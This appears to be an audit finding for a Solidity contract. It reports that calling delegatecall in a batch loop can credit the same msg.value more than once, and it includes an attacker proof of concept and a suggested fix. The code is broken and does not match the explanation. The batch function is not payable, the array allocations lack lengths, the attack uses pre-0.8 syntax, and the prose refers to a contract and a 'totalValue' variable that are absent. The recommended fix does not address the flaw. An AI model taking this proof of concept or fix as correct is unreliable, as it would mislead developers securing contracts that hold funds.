Summary
When calling `delegatecall` the same `msg.value` amount will be accredited multiple times.
Vulnerability Details :
The issue in Batch.sol
at line 20 is that it uses delegatecall
in a loop, which can lead to the same msg.value
amount being accredited multiple times.
Here's a proof of code that demonstrates the issue:
pragma solidity ^0.8.0;
contract Batch {
function batch(bytes[] calldata calls) external {
uint256 count = calls.length;
for (uint256 i = 0; i < count; ++i) {
(bool success, bytes memory result) = address(this).delegatecall(calls[i]);
if (!success) {
revert Errors.BatchError(result);
}
}
}
function receiveValue() public payable {
uint256 value = msg.value;
}
}
contract Attacker {
Batch public batchContract;
constructor(address _batchContract) public {
batchContract = Batch(_batchContract);
}
function attack() public payable {
bytes[] memory calls = new bytes[]();
calls[0] = abi.encodeWithSignature("receiveValue()");
calls[1] = abi.encodeWithSignature("receiveValue()");
batchContract.batch.value(msg.value)(calls);
}
}
In this example, the VulnerableContract
has a batch
function that uses delegatecall
to execute a list of calls. The receiveValue
function simply adds the msg.value
to the totalValue
variable.
The Attacker
contract has an attack
function that calls the batch
function on the VulnerableContract
with two calls to the receiveValue
function. The msg.value
is set to a non-zero value.
When the attack
function is called, the batch
function will execute the two calls to receiveValue
, and the totalValue
variable will be incremented twice, even though the msg.value
is only sent once. This demonstrates the issue with using delegatecall
in a loop.
Impact : It is very likely that if not rectified, it will result in loss of funds.
Tools Used : VS code, Slither, Aderyn, Solidity Metrics
Recommendations : To fix this issue, you can use a different approach to handle the calls in the loop, such as using a call stack or a queue.
Here's an example of how you can modify the code to use a call stack:
pragma solidity ^0.8.0;
contract Batch {
struct Call {
bytes data;
address target;
}
function batch(bytes[] calldata calls) external {
Call[] memory callStack = new Call[]();
for (uint256 i = 0; i < calls.length; i++) {
callStack[i] = Call(calls[i], address(this));
}
for (uint256 i = 0; i < callStack.length; i++) {
(bool success, bytes memory result) = callStack[i].target.call(callStack[i].data);
if (!success) {
revert Errors.BatchError(result);
}
}
}
function receiveValue() public payable {
uint256 value = msg.value;
}
}